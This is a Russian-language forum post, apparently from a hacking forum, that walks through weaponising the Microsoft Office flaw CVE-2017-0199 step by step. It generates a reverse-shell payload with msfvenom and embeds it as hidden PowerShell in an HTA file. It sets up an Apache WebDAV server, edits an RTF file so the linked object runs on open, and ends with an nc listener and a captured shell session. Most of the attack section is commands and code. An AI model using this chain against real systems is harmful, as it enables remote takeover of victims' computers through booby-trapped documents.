Тестирования уязвимости в продукции Microsoft Office - CVE-2017-0199

Admin

Администратор
Эксплуатация CVE-2017-0199
Благодаря публикации FireEye стало известно об эксплуатации CVE-2017-0199 в различных компаниях по распространению вирусов (например Dridex).
Уязвимость заключается в использовании OLEv2-ссылок в теле документа.
Итак, а что это за объекты OLEv2? Это в основном объект (файл), который мы включаем в наш файл, и его содержимое будет загружено в документ при открытии. Короче: файл внутри файла.

Этап 1:
На первом этапе мы создадим HTA-файл (это тип файла, который является по факту html-приложением, которое способно интерпретировать Jscript\Vbscript-код).
Для примера мы назовем файл myhta.hta:
HTML:
<!DOCTYPE html>
<html>
 <head>
  <meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
  <title>CVE-2017-0199</title>
  <script language="VBScript">
   ТУТ БУДЕТ ВАШ КОД
  </script>
  <hta:application id="oHTA" applicationname="CVE-2017-0199" application="yes">
  </hta:application>
 </head>
 <body>
 </body>
</html>
Итак, это базовое приложение HTA, без какого-либо пейлоада.
Теперь нам нужно сгенерировать наш vbscript-код для включения в этот hta-файл.
Код:
# msfvenom -a x64 --platform Windows -p windows/x64/shell_reverse_tcp LHOST=192.168.1.213 LPORT=21747 -f hta-psh
В результате мы получаем следующий пейлоад:
Код:
<script language="VBScript">
Set jkq = CreateObject("Wscript.Shell")
Set bMB = CreateObject("Scripting.FileSystemObject")
If bMB.FileExists(jkq.ExpandEnvironmentStrings("%PSModulePath%")+"..\powershell.exe") Then
jkq.Run "powershell.exe -nop -w hidden -e aQBmACgAWw...ACkAOwA="
End If
</script>
Добавьте этот скрипт в hta-файл:
HTML:
<!DOCTYPE html>
<html>
 <head>
  <meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
  <title>CVE-2017-0199</title>
  <script language="VBScript">
   Set jkq = CreateObject("Wscript.Shell")
   jkq.Run "powershell.exe -nop -w hidden -e aQBmACgAWw...ACkAOwA="
  </script>
  <hta:application id="oHTA" applicationname="CVE-2017-0199" application="yes">
  </hta:application>
 </head>
 <body>
 </body>
</html>
Обратите внимание, что мы удалили некоторые строки из нашего скрипта, поскольку в данном случае в них нет необходимости для запуска powershell (Если кто-нибудь знает, почему, пожалуйста, дайте мне знать).

Итак, теперь у нас есть наш hta-файл, с нашим пейлоадом в виде реверсивного шелла.

Этап 2:
Следующим шагом на необходимо создать простой RTF-документ используя Windows Word, с любым содержимым внутри. В этом примере вы можете написать "Это просто тест!" и сохранить с названием myrtf.rtf.

Хорошо. Теперь у вас имеется 2 документа, которые вы должны загрузить на веб-сервер:
Код:
/var/www/html/ms# ls
myhta.hta myrtf.rtf

Этап 3:
Настройте сервер Apache в качестве WebDAV-сервиса:
Код:
#a2enmod dav
#a2enmod dav_fs
#a2enmod dav_lock
#a2enmod headers
#service apache2 restart
Далее мы добавим заголовок content-type application/rtf для всех файлов в нашем каталоге /ms и разрешим выполнение запроса PROPFIND, который будет выполнять Microsoft Office.

Для этого откройте файл 000-default.conf расположенный по адресу /etc/apache2/sites-enabled и добавьте в конце следующие строки:
Код:
<Directory /var/www/html/ms/>
  Header set Content-Type "application/rtf"
</Directory>
<Directory />
  Dav on
</Directory>
После всех изменений не забудьте перезапустить apache сервер:
Код:
service apache2 restart

Этап 4:
Теперь нам нужно создать другой RTF-файл (тот самый, который мы отправим учебной жертве) и вставить в него ссылку на внешний rtf-файл.

Создайте документ с именем research-doc.rtf и добавьте в него объект:
Английская локализация: Insert -> Object ("Create from File")
Русская локализация: Вставка -> Объект ("Создание из файла")

В имени файла добавьте URL-адрес (http://192.168.XXX.XXX/ms/myrtf.rtf) и отметьте "Связь с файлом/Link to file":
1

Сохраните файл.

Этап 5:
После того, как вы создали файл, вам необходимо отредактировать его для автоматической загрузки OLE-объекта, а именно добавить objupdate между objautlink and rsltpict в файле research-doc.rtf.

Для этого откройте файл через SublimeText или Notepad++, найдите object и проведите следующую операцию:
замените строку:
Код:
\object\objautlink\rsltpict
на:
Код:
\object\objautlink\objupdate\rsltpict
Итак, теперь у нас есть наш файл esearch-doc.rtf, который указывает на объект myrtf.rtf, но мы хотим, чтобы он фактически указывал на наш hta-файл.
Переходим к следующему шагу.

Этап 6:
Для этого нам нужно заменить содержимое myrtf.rtf содержимым myhta.hta, а затем изменить заголовок application content-type на hta.

Производим замену содержимого (чтение myhta.hta и перезапись myrtf.rtf):
Код:
/var/www/html/ms# cat myhta.hta > myrtf.rtf
Отредактируйте конфигурационный файл 000-default.conf, заменив:
Код:
Header set Content-Type "application/rtf"
на:
Header set Content-Type "application/hta"
После всех изменений не забудьте перезапустить apache сервер:
Код:
service apache2 restart

Этап 7:
Создайте слушающий порт на вашем сервере и откройте документ на удаленном компьютере, имеющим соединение до сервера research-doc.rtf:
Код:
# nc -nlvp 21747
Код:
listening on [any] 21747
connect to [192.168.1.213] from (UNKNOWN) [192.168.1.217] 58028
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\System32>whoami
whoami
desktop-hae3iae\buhletxr
Готово. Мы получили шелл.

Примечание: если вам не нравится расширение .rtf, в вашем окончательном документе research-doc.rtf - переименуйте его, например в файл с расширением .doc, он также будет работать
 
Похожие темы
Anorali TIDoS-Framework: платформа для тестирования на проникновение веб-приложений Полезные статьи 6
АнАлЬнАя ЧуПаКаБрА Интересно ReCaptchaTester - СОФТ для тестирования CapMonster / XEvil Готовый софт 0
G Portia - Автоматизация тестирования на проникновение Уязвимости и взлом 0
G WPSeku-простой сканер тестирования Wordpress Уязвимости и взлом 0
G Xerosploit - инструментарий для тестирования проникновение Уязвимости и взлом 0
L Книга по установке кали и тестирования на проникновения Полезные статьи 8
B Введение в раздел Практика тестирования на проникновение "Разведка и сбор информации" Уязвимости и взлом 0
Admin Интересно Adobe выпустила экстренные обновления для уязвимости Acrobat Reader. Новости в сети 0
Admin Интересно Cisco устранила критические уязвимости в IMC и SSM. Новости в сети 0
Admin Интересно Обнаружена активная разведка уязвимости Citrix NetScaler CVE-2026-3055. Новости в сети 0
Admin Интересно CISA предупреждает о критической уязвимости в Langflow. Новости в сети 0
Admin Интересно Полиция Германии разбудила сотни администраторов из-за критической уязвимости. Новости в сети 0
Admin Интересно Уязвимости в Claude.ai позволяют злоумышленникам красть личные данные пользователей. Новости в сети 0
Admin Интересно Еженедельный обзор: уязвимости, атаки на CI/CD и новые угрозы. Новости в сети 0
Admin Интересно Хакер-одиночка заработал 367% прибыли на уязвимости Venus Protocol. Новости в сети 0
Admin Интересно Ubiquiti устраняет критические уязвимости в UniFi Network Application. Новости в сети 0
Admin Интересно Ubiquiti выпустила экстренное обновление для устранения критической уязвимости в UniFi Network Application. Новости в сети 0
Admin Интересно CISA предупреждает об эксплуатации уязвимостей в Zimbra и SharePoint, а также о новой атаке с использованием уязвимости Cisco. Новости в сети 0
Admin Интересно Хакеры активно исследуют уязвимости VPN для атак. Новости в сети 0
Admin Интересно Обнаружены критические уязвимости в IP KVM устройствах, позволяющие получить доступ к системе. Новости в сети 0
Admin Интересно Уязвимости в AI-платформах Amazon Bedrock, LangSmith и SGLang позволяют утечку данных и удалённое выполнение кода. Новости в сети 0
Admin Интересно Google устранил две уязвимости нулевого дня в браузере Chrome. Новости в сети 0
Admin Интересно Apple выпустила обновления безопасности для старых устройств, подверженных уязвимости Coruna. Новости в сети 0
Admin Интересно Обнаружены критические уязвимости в платформе автоматизации n8n. Новости в сети 0
Admin Интересно Microsoft исправила 84 уязвимости в мартовском обновлении безопасности. Новости в сети 0
Admin Интересно Злоумышленники используют уязвимости FortiGate для проникновения в сети и кражи учетных данных. Новости в сети 0
Admin Интересно Обнаружены уязвимости LeakyLooker в Google Looker Studio, позволяющие выполнять SQL-запросы между арендаторами. Новости в сети 0
Admin Интересно Еженедельный обзор кибербезопасности: уязвимости Qualcomm, iOS и новые атаки. Новости в сети 0
Admin Интересно Anthropic обнаружила 22 уязвимости в Firefox с помощью модели Claude Opus 4.6. Новости в сети 0
Admin Интересно CISA добавила две критические уязвимости Hikvision и Rockwell Automation в каталог KEV. Новости в сети 0
Admin Интересно Вы даже не трогали смартфон – а он уже взломан. Google нашёл уязвимости там, где их никто не искал. Новости в сети 0
Admin Интересно Робопсы Unitree превратились в шпионов: хакеры нашли опасные уязвимости. Новости в сети 0
Admin Интересно Хакеры используют уязвимости в маршрутизаторах и платформе n8n для атак на облака. Новости в сети 0
Admin Интересно Еженедельный обзор кибербезопасности: уязвимости, атаки и новые угрозы. Новости в сети 0
Admin Интересно CISA подтверждает активную эксплуатацию уязвимости FileZen CVE-2026-25108. Новости в сети 0
Admin Интересно Ни дня без патча. Почему в n8n всё чаще и чаще находят критические уязвимости? Новости в сети 0
Admin Интересно Один файл + один клик = ODay в MS Office. Microsoft принимает меры против эксплуатируемой уязвимости. Новости в сети 0
Admin Статья Тихая угроза: уязвимости Open Redirect в клиентских приложениях с OAuth Уязвимости и взлом 0
Admin Статья Безопасная разработка и уязвимости кода. [PART 2] Уязвимости и взлом 0
Admin Статья Безопасная разработка и уязвимости кода. [PART 1] Уязвимости и взлом 0
Admin Статья Безопасность Docker: теория, уязвимости и практические рекомендации Уязвимости и взлом 0
Admin Статья Свежие уязвимости для ОС Windows. Уязвимости и взлом 0
Support81 Хакеры захватили 8,7 млн WordPress-сайтов за два дня — атакуют через критические уязвимости в популярных плагинах Новости в сети 0
Support81 Важно! Мобильный аудит Wi-Fi сетей: как быстро найти уязвимости с помощью Stryker Уязвимости и взлом 0
Support81 Продавали чужие уязвимости — проморгали свою: очередное возрождение BreachForums провалено Новости в сети 1
Support81 CouchDB как проходной двор: эксплойты для критической SSH-уязвимости уже гуляют по сети Новости в сети 0
Support81 Патчи не успевают: хакеры эксплуатируют уязвимости быстрее, чем их исправляют Новости в сети 0
Support81 Дешевле – не значит лучше: как уязвимости DeepSeek уничтожают защиту бизнеса Новости в сети 1
Support81 Семь ключей к данным: какие уязвимости самые «модные» у киберпреступников Новости в сети 0
Support81 Урок не выучен: Onyx теряет $3,8 млн из-за старой уязвимости Новости в сети 0

Название темы